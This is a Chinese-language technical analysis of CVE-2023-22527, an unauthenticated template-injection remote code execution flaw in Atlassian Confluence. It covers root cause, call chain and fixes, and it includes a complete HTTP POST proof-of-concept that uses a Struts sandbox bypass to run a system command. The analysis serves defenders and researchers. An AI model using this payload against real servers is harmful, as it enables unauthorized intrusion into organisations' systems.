Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)
字数 1147 2025-08-18 11:36:47
Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)技术分析文档
漏洞概述
Atlassian Confluence 是一款广泛使用的企业团队协作和知识管理软件。CVE-2023-22527 是一个高危的远程代码执行漏洞,攻击者可在无需登录的情况下,通过构造恶意请求利用Velocity模板注入实现远程代码执行。
影响版本
- 8.5.0 ≤ version ≤ 8.5.3
- 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x
漏洞成因
漏洞位于/template/aui/text-inline.vm文件中,该文件可直接通过URL访问。文件中存在不安全的Velocity模板代码:
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end
攻击者可通过控制label参数注入恶意OGNL表达式,由于缺乏适当的过滤和沙箱限制,导致任意代码执行。
技术分析
漏洞调用链
- 请求首先由
ConfluenceVelocityServlet处理 doRequest()方法创建上下文并处理请求handleRequest()从URI获取vm文件路径并返回模板对象mergeTemplate()创建新的PageContext并准备输出template.merge()执行模板渲染- 最终通过
ASTReference#execute()和OgnlValueStack.findValue()执行注入的OGNL表达式
关键代码分析
- ConfluenceVelocityServlet处理流程:
protected void doRequest(HttpServletRequest request, HttpServletResponse response) {
Context context = this.createContext(request, response);
this.setContentType(request, response);
Template template = this.handleRequest(request, response, context);
if (template != null) {
this.mergeTemplate(template, context, response);
}
}
- 模板合并过程:
protected void mergeTemplate(Template template, Context context, HttpServletResponse response) {
// 获取PageContext和输出流
PageContext pageContext = jspFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
Writer writer = pageContext.getOut();
// 执行模板合并
template.merge(context, writer);
}
- OGNL表达式执行:
最终通过OgnlValueStack.findValue()执行注入的表达式,绕过Struts沙箱限制。
漏洞利用方法
通过研究发现,对于Velocity模板引擎,可以使用以下方法绕过限制:
.KEY_velocity.struts2.context -> (StrutsVelocityContext)
利用org.apache.struts2.views.jsp.ui.OgnlTool类在没有OgnlContext的情况下调用Ognl.getValue(),从而绕过Struts的沙箱限制。
POC示例
POST /template/aui/text-inline.vm HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))
此POC会执行系统命令id并将结果放在响应头中。
修复建议
- 立即升级到不受影响的Confluence版本
- 临时缓解措施:
- 限制对
/template/aui/text-inline.vm的访问 - 实施Web应用防火墙规则拦截可疑的Velocity模板注入尝试
- 限制对
- 对用户输入进行严格的过滤和验证
总结
CVE-2023-22527是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。漏洞根源在于Velocity模板中不安全的OGNL表达式执行,结合Struts框架的特性绕过安全限制。企业应立即采取措施修补此漏洞,防止潜在的大规模攻击。